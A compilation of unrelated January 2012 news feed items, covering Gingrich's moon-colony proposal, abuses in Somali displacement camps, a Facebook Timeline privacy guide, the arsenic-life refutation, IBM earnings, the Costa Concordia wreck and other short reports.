Newt Gingrich Proposes a 51st State on the Moon (ContributorNetwork)

COMMENTARY | Psychologists tell us that tension arises when one tries to hold two conflicting notions in the mind at the same. They call this phenomenon cognitive dissonance; sometimes -- it seems to me -- the term should apply when an individual acts in a way or says something that conflicts with the way he otherwise presents himself. This tense condition, however, never seems to afflict GOP presidential hopeful Newt Gingrich -- although arguably it should.

Gingrich is selling himself as a conservative intellectual, the sort of deep thinker who can right our ship of state by applying imagination to the regular conservative agenda, including presumably fiscal conservatism. With that in mind, let's examine the candidate's remarks Wednesday to some voters on Florida's Space Coast.

As reported by The New York Times' Charles M. Blow, "Gingrich told a crowd ? that 'by the end of my second term, we will have the first permanent base on the moon. And it will be American.' And he said he would push for the introduction of a 'Northwest Ordinance for Space' so that when the number of colonists reached 13,000, they could petition for statehood."

Many Americans, and certainly most Republicans, have at least some level of discomfort with the current federal deficit, so the question begs: How much would this moon colony cost -- completing it before 2020, no less? In the current limping recovery from recession, why would a national politician even utter this idea aloud, even to the friendliest audience?

Second, notice what is being suggested in practical terms, to use that phrase as loosely as possible. Wouldn't Sens. Kirk and Spock of the great state of Moon Newton have to live in or near Washington to correctly represent their fellow, celestial Newtonians? Talk about a disconnect between elected officials and their constituents. Perhaps Sen. Kirk would roam the halls of Congress in a space helmet -- you know, just a reminder of his "home state" reality.

Well, Gingrich is a man who likes to remind us his mind frequently "goes where no man has gone before." We have fine institutions for such people. Not one is called the White House.

Source: http://us.rd.yahoo.com/dailynews/rss/gop/*http%3A//news.yahoo.com/s/ac/20120128/pl_ac/10896593_newt_gingrich_proposes_a_51st_state_on_the_moon

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Keystone to be linked to U.S. highway bill: Boehner (reuters)

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Lindsay Sloane Welcomes Daughter Maxwell Lue

The actress and husband Dar Rollins welcomed their first child, daughter Maxwell Lue, on Thursday, Jan. 19, her rep tells PEOPLE exclusively.

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Rape, corruption in camps blight lives of Somali displaced (Reuters)

MOGADISHU (AlertNet) ? Nurto Isak's food rations are feeding her, her three children, and -- she suspects -- the militiamen guarding the camp in Mogadishu where she and other uprooted Somalis have taken refuge.

The city is host to more than 180,000 internally displaced people (IDPs) who, like Isak, have fled a killer combination of conflict, drought and hunger back home.

Many risk long, difficult journeys to reach the capital, their sights set on the numerous aid agencies that have set up relief operations to hand out food and treat malnutrition there.

Yet many people at various IDP settlements in the war-torn city complain that food aid is not reaching them and accuse local aid workers working for international and Somali NGOs of taking it to line their own pockets.

"Half of the rations intended for our camp is given to the warlord whose militia are said to be guarding us," Isak told AlertNet (www.trust.org/alertnet), a humanitarian news service run by Thomson Reuters Foundation.

Many of the displaced said women were being raped in camps, while others lamented a lack of jobs, health clinics and schools despite the increased presence of aid groups.

Six months after famine was declared in parts of Somalia, the Horn of Africa country remains in the grip of a humanitarian crisis, with 4 million people in need of aid, according to U.N. figures.

However, fighting between government forces and Islamist rebels, combined with attacks on aid workers and a history of aid being manipulated for political gain, means Somalia is one of the toughest countries for relief agencies to operate in.

As such, it is a classic case study of the obstacles to effective aid as highlighted in an AlertNet poll of 41 leading relief agencies published on Thursday.

In the survey, more than half the experts cited increasingly complex disasters as one of the biggest challenges to aid delivery -- with the use of aid as a political weapon and violence against relief workers also featuring highly.

Last month two staff working for Medecins Sans Frontieres (MSF) were shot dead by a colleague in Mogadishu, while earlier this month the International Committee of the Red Cross suspended food distribution to 1.1 million people after al Shabaab rebels blocked deliveries to areas under the militant group's control.

"This is one of the most complex environments for humanitarians," said U.N. humanitarian coordinator for Somalia, Mark Bowden, in response to the claims by displaced people that food rations were being sold by local aid workers.

"Despite continued efforts to strengthen our monitoring systems, allegations still and will continue," he said in a statement to AlertNet.

FAST BUCK

Some of the IDP camps -- little more than a clutch of flimsy shelters made of sticks and cloth -- are directly and indirectly run by government forces or warlords linked to the government, residents say.

Shukri Aden, a resident at another camp, said she had witnessed traders buying food supplies directly from a number of local staff working for NGOs and aid agencies responsible for distributing food in her camp.

"Traders park their cars and lorries beside the camp when it is food distribution day," the mother of six said.

Once a month residents of the camps are handed a card that allows them to collect 25 kg of rice, 25 kg of wheat flour, 10 kg of sugar and 5 liters of cooking oil, Aden said.

But often they are pressured into handing their rations to a local aid worker who pays them around $5 each -- hardly enough to buy food for a day.

The aid worker then sells the food at a marked-up price to a trader, earning thousands of dollars in profits, she said.

"They give us cards to take food but we rarely receive the ration," said Aden, who has taken to begging and washing clothes to scrape together a few more shillings to feed her family.

RAPED AT GUNPOINT

A few miles away in Dinsoor IDP camp, Kadija Mohamed, 36, told AlertNet she was raped.

"Three armed men in government uniform came into the camp. The strongest one shone a powerful torch in my eyes, he strangled me and then raped me in front of my crying kids," she said.

Mohamed, a widow, said she waited for sunrise before making her way to a nearby clinic only to be told there were no doctors.

"Later the camp leaders brought me some painkillers. Now I'm OK but I do not know what diseases I caught from the rape. I have nowhere to go for a check-up," Mohamed said. "We live in these makeshift shelters. We have no aid agency or government to protect us at night. We are at God's mercy."

Isak also said rape was common in her camp.

"They rape even mothers at gunpoint at night -- and we are threatened to death should we disclose it," she said. "The makeshift shelters have no lockable doors, so these men just come in at night and lie on you."

In its January 18 report, the U.N. Office for the Coordination of Humanitarian Affairs (OCHA) said sexual violence against women and girls was continuing in Somalia. It also said security in the IDP settlements was insufficient and at risk of deteriorating.

QUESTION OF PRIORITIES

Mohamed's brother, Macalim Ibrahim, 40, reserved his biggest criticism for government officials and local aid workers.

"These local aid workers are building houses with the sale of food intended for the poor displaced people like us," he told AlertNet. "We are deprived and yet have no government or aid agencies to ask for help."

He also questioned the effectiveness of some of the aid that has been given.

"Many NGOs come, take our photos, and never come back. For example, one aid agency came and erected this school building made of iron sheets," Ibrahim said.

"We brought our kids to the school but it did not work more than 7 days. The guys took footage of the kids at school and never came back. And the teachers disappeared.

"Other aid agencies came and built these latrines. That is good but a hungry man never goes to the toilet. We need food and water to survive," he said.

(Additional reporting by Katy Migiro in Nairobi)

(AlertNet is a humanitarian news service run by Thomson Reuters Foundation. Visit http://www.trust.org/alertnet)

(Writing by Katie Nguyen; Editing by Sonya Hepinstall)

Source: http://us.rd.yahoo.com/dailynews/rss/health/*http%3A//news.yahoo.com/s/nm/20120126/lf_nm_life/us_disasters_somalia

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Let's give science a bad name in schools

Today, the UK's Royal Society announced its intention to stimulate a "world-class, high-performing education system for science and mathematics". If that's really what it wants, its members will have to give up a 60-year pursuit of a squeaky-clean image for science and scientists.

One of the biggest problems is that, although the subject fascinates elementary-school children, most lose that fascination between the ages of 10 and 14.

This is when adolescents are forming their sense of self. As young people seek to turn themselves into adults, they experiment with risk-taking, rebellion, deception, corner-cutting, questioning morality, coping with failure and suppressing self-doubt. This has strong repercussions for their response to science lessons.

Behind the scenes

Studies have repeatedly shown that teenagers lack interest in school science. Louise Archer, who researches the sociology of education at King's College London, puts it like this: there is "a mismatch between popular representations of science? and the aspirations, ideals and developing identities of young adolescents".

The key phrase here is "popular representations". The science of popular account is essentially a carefully crafted and unrepresentative distortion; as Nobel laureate Peter Medawar put it, "the postures we choose to be seen in when the curtain goes up".

Behind the curtain, scientists are surprisingly colourful. The world-changing ones are, by definition, anti-authoritarian, risk-taking rebels. The history of science is littered with instances of fighting, disregard of authority, dogged determination in the face of scorn and even that staple of teenage rebellion, wilful intoxication. Such behaviour seems to be inseparable from the creative pursuit of a breakthrough.

The problem is, school students only ever hear about the breakthrough itself. The crooked path to success has been whitewashed out of sight. This is not an accident: it is the result of a long-running PR campaign carried out by organisations such as the Royal Society ? the creation of Brand Science, if you will.

Bad rep

It started after the second world war, which made science look terrifying. The atomic bombs that devastated Hiroshima and Nagasaki, the V2 rockets that rained down on London, the experiments carried out in Nazi concentration camps and Japanese prisoner-of-war camps ? and Allied mustard gas experiments on their own soldiers ? enveloped science in a cloud of fear. That was why the geneticist Jacob Bronowski wrote in a 1956 issue of Bulletin of the Atomic Scientists: "People hate scientists. There is no use beating about the bush here."

Senior figures reacted by trying to put science in the best possible light wherever it might be on display. That is why UK organisations such as the Royal Society, the Royal Institution and the Wellcome Trust forged links with the national broadcaster, the BBC, in the late 1940s, controlling access to scientists and endorsing only those who would toe the line of Brand Science. Memos to the broadcaster, according to author Timothy Boon, forcefully suggested dropping the "perils and dilemmas angle" in its coverage of the subject, and concentrating on "the great solution wrought by the introduction of the experimental method".

Across the Atlantic, scientists were making similar public promises of the benefits that they would bring. For more than 60 years now, science has striven to be seen as trustworthy, morally upright, objective and dispassionate, and providing a well-defined path from hypothesis to experiment to deduction that will reliably deliver advances and improvements.

Introverts only

The unfortunate spin-off of this PR effort is that it made the subject look dull, inhuman and robotic. Perhaps that's why, when asked to pick out the scientists from a gallery of photographs, children chose the ones that weren't smiling ? although in reality, all the photos were of scientists. Scientists are not perceived as smiley or fun, and the general population certainly does not think of them as creative or dynamic. That might explain why, as a Dutch study revealed in 2008, highly socialised, extrovert students tend to drop science subjects as soon as they can, orienting themselves instead towards more "human" areas of work, such as law, politics and economics.

Reintroducing into school curricula the humanity of science ? with all its flaws, its tales of outrageous behaviour and even more outrageous characters ? would give teens the opportunity to see scientists as role models. With pressing problems such as climate change and energy supply to confront, we must do whatever we can to capture the bold, adventurous, risk-taking minds of tomorrow, rather than settling for the timid ones ? even if that means tarnishing the carefully nurtured public image of Brand Science.

Read more: "Lab brats: Eight great scoundrels of science"

Michael Brooks is a consultant for New Scientist and the author of Free Radicals: The secret anarchy of science

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How to live with the Facebook Timeline

By Rosa Golijan

Facebook

You can pout and you can shout, but there's no avoiding it: You'll soon be forced to use a new profile page design?? better known as the Timeline???on Facebook. It'll be alright though,?because I'm here to (virtually) hold your hand through this big life change.

Woah! Wait! What is this Timeline thing?
Odds are that you've already?heard about?the Facebook Timeline, but let's have a quick review for the sake of those who might've been on a really long vacation or have a (dangerous) tendency to tune out Facebook-related news.

The Facebook Timeline is a new approach to the profile page. According to Facebook CEO Mark Zuckerberg, it's a way to better present "the story of your life."

When someone looks at your Timeline, he or she will be able to see summaries of the most important events in your personal history ? instead of having to scroll through years of silly status updates. You're able to feature (or hide)?"Stories" ? life?events, images, and other details ??in order to create what you feel is the best representation of your life.

Since your personal history no longer starts with the day you joined Facebook, but the date of your actual birth, you are encouraged to go back and add events which weren't previously on Facebook. Please choose what you enter with absolute care, and bear in mind that what you enter (ahem, place of birth, mother's maiden name) could be used for nefarious purposes.

While a lifelong timeline may seem convenient and logical, our own privacy-minded Helen Popkin said this may be "the ultimate Trojan horse,"?a way for Facebook to squeeze even more personal information out of you by posing as an unrequested but alluring feature.

Oh, and you can also?augment your Timeline by using apps which track books you've read, movies you've watched, music you've listened to, and so on. (Yeah, this can get a bit creepy?? so you'll probably want to fiddle with your privacy settings. More on that later.)

I don't really want this! How do I avoid it?
As I said when we started our journey down the Timeline rabbit hole: You can pout and shout as much as you want, but there's no avoiding Timeline.

As?Paul McDonald, an engineering manager on the Timeline team, explained recently:

Over the next few weeks, everyone will get timeline. When you get timeline, you'll have 7 days to preview what's there now. This gives you a chance to add or hide whatever you want before anyone else sees it. ...?

?You can also choose to publish your timeline at any time during the review period. If you decide to wait, your timeline will go live automatically after seven days. Your new timeline will replace your profile, but all your stories and photos will still be there.

A warning whistle, a seven-day head start, and ... that's it, that's all you're getting. If anyone is trying to convince you that there's a loophole or a way to outsmart Facebook on this particular issue, odds are that he or she is trying to scam you.

Facebook

Fine. I'll live with this somehow, but can I at least hold on to my privacy?
As Lifehacker's Whitson Gordon points out, the?"one big downside to the Timeline layout is that you can easily see every post you've ever made or received on Facebook. All anyone needs to do is go to a certain year on your profile and click the "All Posts" button."

Yes, that particular downside could lead to quite a bit of embarrassing moments, awkward confrontations, and so on.

Thankfully there are two ways to minimize humiliation. Neither of them is particularly perfect, but they help a bit.

Facebook

As tedious as it is, you could go through your Timeline and hide (or delete) individual posts. All you have to do is click the little pencil icon on a post and you'll be presented with the different options.

Of course, this process could take forever and a day if you're a particularly active Facebook user. (I told you it wasn't perfect.)

Facebook

The other action you can take to prevent some embarrassment involves the posts which are visible to the general public or friends of friends. You can change the privacy setting for all of those posts to "friends only" with just one click.?

Live Poll

Are you properly prepared for the arrival of the Timeline?

• 174337

  Wait. What? This is actually happening?

  76%

• 174338

  I've been ready for this since it was first announced. Wake me up when there's real news.

  9%

• 174339

  I ... I think so. I am, right? Did I forget about something?

  12%

• 174340

  Ready? I was born ready (and made myself some custom Timeline cover images later on).

  4%

VoteTotal Votes: 1629

You just have to head to the "Privacy Settings" menu, select the "Manage Past Post Visibility" button next to "Limit the Audience for Past Posts." You'll see a little popup which will confirm that you really want to limit the visibility of your old posts and you're done.

But, as?Gordon notes, this particular move "won't hide those posts from your friends, but it will at least keep everyone else on Facebook from being able to browse every post you've ever made public."

Unfortunately that's about all you can do to shelter what little bit or privacy you have left when you're forced to switch over to the Timeline layout. You can?? and should?? be vigilant about what you post in the first place and what sort of state your general privacy settings are in though, of course. (For more details on that, I recommend checking out Lifehacker's "always up-to-date guide to managing your Facebook privacy.")

Facebook

New York Times columnist Nick Bilton gets creative with his Timeline cover image.

Can I at least make this thing look pretty?
One of the first things you'll notice about the Timeline is that it puts a gigantic photo front and center. This is called the "cover" photo and you're prompted to select one as soon as your profile is converted to this new design. (You can change the cover image as often as you want.)

You can use (or abuse) this feature to make your little corner of the social network look as unique as a snowflake.

Your decorating options include ready-made images ??such as the geeky or intense illustrations artist Sam Spratt made available on BuzzFeed?? or your own creations.

Facebook

Buzzfeed's Director of Creative Services Tanner Ringerud shows how a profile photo can interact with a cover image on Facebook.

If you're really itching to have a one-of-a-kind image, then the best thing to do is is to brainstorm until you find a way to make the large cover image interact with your profile photo. The only tricky part ? aside from actually coming up with a clever idea ? is that you need to keep the proportions of the images in mind to make sure that everything looks perfect.

So make note that the large cover image is 851 x 315 pixels and that the smaller profile photo is 125 x 125 pixels.

That's really all there is to it?
Yes, that's all you really need to know about the Facebook Timeline??? what it is, why you can't avoid it, how to keep it from embarrassing you, and how to make it look pretty.

Not so bad after all, right?

Now go on and pass this handy-dandy guide on to your confused friends and family members so that you can enjoy your last seven Timeline-free days in peace.

Related stories:

Want more tech news, silly puns, or amusing links? You'll get plenty of all three if you keep up with Rosa Golijan, the writer of this post, by following her on?Twitter, subscribing to her?Facebook?posts, or circling her?on?Google+.

Source: http://digitallife.today.msnbc.msn.com/_news/2012/01/25/10232841-facebook-timeline-what-you-need-to-know

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Shop Android Deal of the Day: Case-Mate POP! Case for HTC EVO 3D

The Jan. 25 Shop Android Deal of the Day is the Case-Mate POP! Case for the HTC EVO 3D. The Pop Case features contemporary color pairings to create a modern look for your HTC EVO 3D. Rubber sides make for an easy grip. Inside, the soft material hugs your device like a glove. It's available in black, pink or white today only for just $12.95 -- that's 57 percent off! Get yours while supplies last!

 

Source: http://feedproxy.google.com/~r/androidcentral/~3/_qGf1g__w8Y/story01.htm

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Study Fails to Confirm Existence of Arsenic-Based Life

News | More Science

A new analysis by open-science advocates present a 'clear refutation' of a controversial finding that appears to undermine assumptions about how essential phosphorus is for life

By Erika Check Hayden and Nature magazine ?| January 23, 2012

A scanning electron micrograph of GFAJ-1, the bacterium at the centre of the controversy. Image: Science/AAAS

A strange bacterium found in California?s Mono Lake cannot replace the phosphorus in its DNA with arsenic, according to researchers who have been trying to reproduce the results of a controversial report published in Science in 2010.

A group of scientists, led by microbiologist Rosie Redfield at the University of British Columbia in Vancouver, Canada, have posted data on Redfield's blog that, she says, present a ?clear refutation? of key findings from the paper.

?Their most striking claim was that arsenic had been incorporated into the backbone of DNA, and what we can say is that there is no arsenic in the DNA at all,? says Redfield.

But the authors of the Science paper are not retreating from their conclusions. ?We are thrilled that our results are stimulating more experiments from the community as well as ourselves,? first author Felisa Wolfe-Simon, now at the Lawrence Berkeley National Laboratory in California, wrote in an e-mail to Nature. ?We do not fully understand the key details of the website experiments and conditions. So we hope to see this work published in a peer-reviewed journal, as this is how science best proceeds.?

Open criticism
In the Science paper, Wolfe-Simon and her co-workers reported that they had found a bacterium called GFAJ-1 that can use the element arsenic in place of phosphorus in molecules essential to life (see Arsenic-eating microbe may redefine chemistry of life). This was surprising because phosphorus is thought to be essential for life, whereas arsenic is usually toxic.

But after Redfield and others raised numerous concerns (see Microbe gets toxic response), many of which were published as technical comments in Science, Redfield put the results to the test, documenting her progress on her blog to advance the cause of open science.

Redfield grew GFAJ-1 bacteria in arsenic and a very small amount of phosphorus, as had Wolfe-Simon and her colleagues. She then purified the DNA from the cells and sent it to Marshall Louis Reaves, a graduate student at Princeton University in New Jersey. Reaves used a caesium chloride gradient to separate the cells' DNA into fractions of varying densities, then used a mass spectrometer to identify the elements present in each fraction of DNA. He found no arsenic in any of the DNA.

But Redfield?s methods might leave defenders of the arsenic life hypothesis some wiggle room. For instance, Redfield was unable to grow any cells without adding a small amount of phosphorus. Because it is not clear how much phosphorus was used to grow the bacteria in the original paper, its authors could argue that Redfield's cells were not sufficiently phosphorus-starved to be forced to use arsenic in its place.

Wolfe-Simon also says she would not expect to find arsenic in DNA analysed on a caesium chloride gradient, because the arsenic-containing DNA might be so fragile that it would break apart and appear only in very faint bands separate from the bulk of the cell's DNA.

However, Redfield says that Reaves analysed all of the DNA purified on the gradient, so he would have detected any arsenic. Redfield also analysed the size of DNA from cells that had been stored for two months in her lab refrigerator. The DNA fragments from cells that had been grown with and without arsenic were similar sizes, indicating that DNA from arsenic-grown cells is not unstable.

Source: http://rss.sciam.com/click.phdo?i=dfcf2206fde052bb9cc4e531fec3dae6

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Bachmann speaks at St. Paul anti-abortion rally (AP)

ST. PAUL, Minn. ? Rep. Michele Bachmann predicted Sunday that the November elections will end abortion as she made her first public appearance in Minnesota since dropping out of the Republican presidential race.

Bachmann spoke to hundreds of people opposed to legal abortion who traveled on school buses from across the state Sunday to mark the 39th anniversary of the Supreme Court decision legalizing abortion, Minnesota Public Radio reported ( http://bit.ly/zIPAwh). The annual rally was sponsored by Minnesota Citizens Concerned for Life, which said in a statement that the event drew more than 4,000 people.

Bachmann said the Supreme Court decision should be repealed within the next year.

"Here on our watch we will stand, we will stand for life, we will never forget, we will never give up, and next year we will gather in a day of celebration when we have finally ended abortion in this all important election," she said. "Join me this year. Choose life."

Bachmann has appeared at few public events in Minnesota in the past half-year, when her focus was on her GOP presidential campaign. She dropped out of the race after finishing sixth in Iowa's leadoff caucuses in early January.

She hasn't said if she'll run for a fourth term in Congress, representing suburbs north and east of the Twin Cities. In response to a question from a reporter, she said she'll give interviews soon on the subject.

Republican Reps. Erik Paulson, Chip Cravaack and John Kline also spoke at the event.

Planned Parenthood officials said they'll oppose any action that limits women's access to health care and legal abortion.

___

Information from: Minnesota Public Radio News, http://www.mpr.org

Source: http://us.rd.yahoo.com/dailynews/rss/gop/*http%3A//news.yahoo.com/s/ap/20120123/ap_on_go_co/us_anti_abortion_rally_bachmann

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Pakistan police suspect aid worker kidnapped (AP)

KARACHI, Pakistan ? Pakistani police say a Kenyan aid worker has disappeared and is suspected of having been kidnapped in the country's south.

Police officer Shahab Akbar Kolachi said late Monday the man was working for an international NGO, helping the southern Sindh province recover from devastating 2010 floods. Kolachi did not provide the man's name.

The officer said police believe the man was kidnapped Monday while traveling from the city of Sukkur to the district of Dadu. His vehicle was found abandoned between the two areas. His colleagues tried to call him, but his phone was turned off.

Kidnappings for ransom are common in Pakistan by both criminals and Islamist militants.

Gunmen seized two aid workers, an Italian and a German, in the central Pakistan town of Multan last week.

Source: http://us.rd.yahoo.com/dailynews/rss/asia/*http%3A//news.yahoo.com/s/ap/20120124/ap_on_re_as/as_pakistan

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IBM 4Q earnings beat estimates, revenue falls shy

SAN FRANCISCO (AP) ? IBM Corp.'s fourth-quarter earnings handily beat Wall Street's expectations on Thursday, helped by higher revenue and profit margins in the technology icon's lucrative software and services segments.

The results and IBM's stronger-than-expected outlook for this year sent IBM's stock up more than 2 percent after hours. The company offered a welcome sign of stability amid the global economic turmoil that's prompting worries about a slowdown in technology spending by businesses and governments, who are IBM's customers.

One sore spot was revenue, which fell short of analyst expectations; the rise in software and services revenue wasn't enough to offset a decline in hardware. Also, the stronger dollar is squeezing overseas revenue.

IBM earned $5.49 billion, or $4.62 per share, in the three months that ended Dec. 31. That's up 4 percent from $5.26 billion, or $4.25 per share, a year earlier. Adjusted earnings were $4.71 per share, easily surpassing analysts' expectations of $4.61 per share.

Revenue grew 2 percent to $29.49 billion from $29.02 billion. Analysts polled by FactSet had expected slightly higher revenue of $29.7 billion.

IBM said currency shifts since its last quarterly report in October lowered fourth-quarter revenue by about $300 million. The deepening economic crisis in Europe, along with the continuing weakness in the U.S. economy and signs of a slowdown in emerging markets are prompting worries about global companies like IBM.

But IBM has long said its long-term contracts insulate it from economic swings, and its full-year forecast is bright. IBM expects adjusted earnings of at least $14.85 per share, above the $14.77 per share that analysts are predicting.

New CEO Ginni Rometty said IBM is "well on track" toward its long-term goal of hitting at least $20 per share in adjusted earnings in 2015 ? a rare example of a long-term earnings target disclosed publicly by a such a large company.

Revenue rose at two of IBM's three largest divisions ? software by 9 percent and services by 3 percent. Hardware revenue fell 8 percent. In the third quarter, IBM's services revenue grew 8 percent, its software revenue climbed 13 percent and its hardware revenue rose 4 percent.

By geography, IBM said revenue from the Americas grew 3 percent in the fourth quarter. Revenue from Europe, the Middle East and Africa combined was up 1 percent and revenue from Asia increased 2 percent.

IBM said its new contract signings were $20.4 billion in the fourth quarter, slightly above analysts' expectations. The company's services backlog at the end of the year was $141 billion, up by $4 billion from the end of the third quarter. Services backlog refers measures the value of work under contract that the company expects to book as revenue in future quarters.

For all of 2011, IBM earned $15.86 billion, or $13.06 per share, up 7 percent from $14.83 billion, or 11.52 per share, a year earlier. Adjusted earnings were $13.44 per share, above analysts' expectations of $13.36 per share.

Revenue was $106.92 billion, up 7 percent from $99.87 billion in 2010. Wall Street was expecting $107.08 billion.

The Armonk, New York-based company's stock rose $4.53, or 2.5 percent, to $185.05 after hours. The stock had closed down 55 cents at $180.52.

Associated Press

Source: http://hosted2.ap.org/APDEFAULT/495d344a0d10421e9baa8ee77029cfbd/Article_2012-01-19-Earns-IBM/id-011b455bcbbf4d20a5eed409cc0d53e6

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Woman who ate with captain defends his actions (AP)

ROME ? A Moldovan woman who says she was with the captain of the Concordia cruise ship after it rammed into a Tuscan reef has defended his actions on the night of the grounding.

Crew members and passengers have said Capt. Francesco Schettino ate dinner with a woman in the ship's restaurant Friday and was with her as the ship started listing off the island of Giglio.

Italian news reports say prosecutors want to speak to Dominica Cermotan of Moldova. Cermotan says in a Facebook post that she was with Schettino on deck along with other officers and the cruise director. She defended Schettino, telling Moldova's Jurnal TV that "he did a great thing, he saved over 3,000 lives."

Prosecutor Francesco Verusio declined to comment on whether he was seeking Cermotan as a witness, citing the ongoing investigation.

THIS IS A BREAKING NEWS UPDATE. Check back soon for further information. AP's earlier story is below.

ROME (AP) ? A new audiotape emerged Thursday of the first contact between Livorno port officials and the Costa Concordia ? and the captain is heard insisting that his cruise ship only had a blackout a full 30 minutes after it had rammed into a reef.

Capt. Francesco Schettino, who was jailed after he left the ship before everyone was safely evacuated, is under house arrest, facing possible charges of manslaughter, causing a shipwreck and abandoning his ship.

The $450 million Costa Concordia was carrying more than 4,200 passengers and crew when it slammed into well-charted rocks off the Tuscan island of Giglio after Schettino made an unauthorized diversion Friday from his programmed route. The ship then keeled over on its side.

Eleven people have been confirmed dead and 21 others are still missing.

The recording between Schettino and port officials began at 10:12 p.m. Friday, a good 30 minutes after the ship violently hit a reef and panicked passengers had fled the dining room to get their lifejackets.

Recordings of Schettino's conversations with coast guard officials after the ship capsized on its side have shown how he resisted repeated orders to return on board to oversee the evacuation.

In a new recording released Thursday, the first communication between the ship and Livorno port authorities, Schettino is heard assuring the officer that he was checking out the reasons for the blackout. But he doesn't volunteer that the ship had hit a reef.

Rather, the port officer tells Schettino that his agency had heard from a relative of one of ship's sailors that "during dinner everything fell on their heads." Passengers in the dining area reported plates and glasses slamming down onto diners.

"We are verifying the conditions on board," Schettino replies. Asked if passengers had been told to put on life jackets, he responds: "Correct."

Crew members and passengers alike have complained about the chaotic evacuation and the lack of direction from the ship's management.

Divers, meanwhile, restarted the search Thursday for those still missing, but a forecast of rough seas added uncertainty to the operation and to plans to begin pumping fuel from the stranded vessel.

The divers were focusing on an evacuation route on the fourth level, now about 18 meters (60 feet) below the water's surface, where five bodies were found earlier this week, Navy spokesman Alessandro Busonero told Sky TG 24. Crews set off small explosions to blow holes into hard-to-reach areas for easier access by divers.

Officials restarted the search after determining the ship had stabilized after shifting on the rocks 24 hours earlier.

Also Thursday, seven of the dead were identified by authorities: French passengers Jeanne Gannard, Pierre Gregoire, Francis Servil, 71, and Jean-Pierre Micheaud, 61; Peruvian crew member Thomas Alberto Costilla Mendoza; Spanish passenger Guillermo Gual, 68, and Italian passenger Giovanni Masia, who news reports said would have turned 86 next week and was buried in Sardinia on Thursday.

Italian authorities have identified 32 people who have either died or are missing: 12 Germans, seven Italians, six French, two Peruvians, two Americans and one person each from Hungary, India and Spain.

The ship's sudden movement Wednesday had also postponed the start of the weekslong operation to extract the half-million gallons of fuel on board the vessel. Italy's environment minister issued a fresh warning Thursday about the implications if the ship shifts and breaks any of its now-intact oil tanks.

"We are very concerned" about the weather, minister Corrado Clini told Mediaset television. "If the tanks were to break, the fuel would block the sunlight from getting to the bottom of the sea, making a kind of film, and that would cause the death of the marine system in the area."

Crew members returning home have begun speaking out about the chaotic evacuation, saying the captain sounded the alarm too late and didn't give orders or instructions about how to evacuate passengers. Eventually, crew members started lowering lifeboats on their own.

"They asked us to make announcements to say that it was electrical problems and that our technicians were working on it and to not panic," French steward Thibault Francois told France-2 television Thursday. "I told myself this doesn't sound good."

He said the captain took too long to react and that eventually his boss told him to start escorting passengers to lifeboats. "No, there were no orders from the management," he said.

Indian ship waiter Mukesh Kumar said "the emergency alarm was sounded very late," only after the ship "started tilting and water started seeping" in.

He was one of four Indians flown to New Delhi on Thursday, the first to return out of 203 Indians aboard the Concordia.

"The ship shook for a while, and then the crockery stated falling all over," said Indian Kandari Surjan Singh, who worked in the ship's galley. "People started panicking. Then the captain ordered that everything is under control and said it was a normal electric fault ... so people calmed down after that."

Among the missing are an Italian father and 5-year-old daughter. The girl's mother issued a fresh appeal to speed the search and for passengers who saw the pair to come forward to help determine where they were last seen.

"Don't stop, bring home my daughter. Get her out," Susy Albertini, 28, said on Italian television Wednesday evening after meeting with government and port officials in Tuscany.

William Arlotti, 36, had taken his daughter on on the cruise with his girlfriend, Michela Marconcelli, who survived. Marconcelli said she got separated from the other two in the evacuation.

Other missing include retirees Jerry and Barbara Heil of White Bear Lake, Minnesota, who were treating themselves after putting four children through college.

The ship's operator, Crociere Costa SpA, has accused Schettino of causing the wreck by making the unapproved detour, and the captain has acknowledged carrying out what he called a "tourist navigation" that brought the ship closer to Giglio.

Costa is owned by Miami-based Carnival Corp.

___

Barry reported from Milan. Fanuel Morelli contributed from Giglio, Italy and Angela Charlton from Paris.

Source: http://us.rd.yahoo.com/dailynews/rss/topstories/*http%3A//news.yahoo.com/s/ap/20120119/ap_on_bi_ge/eu_italy_cruise_aground

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OPEC president Iraq wants Hormuz assurance from Iran (Reuters)

BAGHDAD (Reuters) ? Iraq's Oil Minister Abdul-Kareem Luaibi in his new role as president of OPEC said he will visit Iran on Thursday to discuss oil market stability and seek Tehran's assurances on the protection of waterways and oil supplies.

His comments on Wednesday follow recent threats from Tehran that it would stop oil moving through the Strait of Hormuz if sanctions are imposed on Iran's oil exports.

"I will go to Iran to encourage our brothers to express real and important assurances to the world that everyone is keen to protect the waterways and to protect the process of production and export of oil in the region," Luaibi said.

"Otherwise, anything less will affect the whole world and will affect the global economy," he said.

He said Iraq was against the use of oil in politics and that OPEC was keen to seek stability in oil production and prices.

Tensions over the Strait of Hormuz - the world's most important oil shipping route - have risen in recent weeks after Iran threatened to block it.

Producers Saudi Arabia, Kuwait, Iran, Iraq and the United Arab Emirates all use it to move crude to customers around the world.

The West is considering sanctions on Iranian oil exports over its disputed nuclear program. Iran has threatened to shut the Strait of Hormuz if its exports are disrupted.

Asked if Iraq is worried that Iran will carry out its threat, Luaibi said: "The threats are not coming only from Iran. We have also European Union threats to ban Iranian exports and we will discuss both issues with the Iranians," Luaibi told reporters.

Iraq exports about 1.7 million barrels of crude per day from its Gulf oil terminals. Oil revenues fund about 95 percent of its government budget.

"Iraq is the best mediator in the region now as its regime has very close ties with Iran and has the ability to defuse the crisis," Baghdad-based oil analyst Hamza al-Jawahiri told Reuters.

Luaibi added that Iraq will begin test-pumping crude oil through its new single-point mooring (SPM) in the Gulf on January 25 and the terminal will be ready to receive vessels in February.

The opening of the terminal ultimately will add about 900,000 bpd to Iraq's export capacity. Two other SPMs will be brought online later in the year, Iraqi officials have said.

"We will start pumping with low quantities and this will increase gradually," Luaibi said.

(Writing by Patrick Markey; editing by Jason Neely)

Source: http://us.rd.yahoo.com/dailynews/rss/energy/*http%3A//news.yahoo.com/s/nm/20120118/wl_nm/us_energy_iran_iraq

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Have Demi Lovato & Wilmer Valderrama Called it Quits?

Demi Lovato may have been caught kissing ex-boyfriend Wilmer Valderrama last November, but the former Disney star is sending a very "single" vibe on Twitter.

Source: http://www.ivillage.com/have-demi-lovato-wilmer-valderrama-called-it-quits/1-a-417641?dst=iv%3AiVillage%3Ahave-demi-lovato-wilmer-valderrama-called-it-quits-417641

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Israel: Parliament suspends water-tossing lawmaker

JERUSALEM -- The ethics committee of Israel's parliament has suspended a lawmaker for dumping water on a colleague during a heated debate.

During the outburst, Anastassia Michaeli threw water on colleague Raleb Majadale after he told her to shut up. Dripping wet, he chuckled and called her "crazy" as she stormed out of the room.

The incident occurred during a debate over whether an Arab-Israeli school had the right to take its students to a Tel Aviv human rights march.

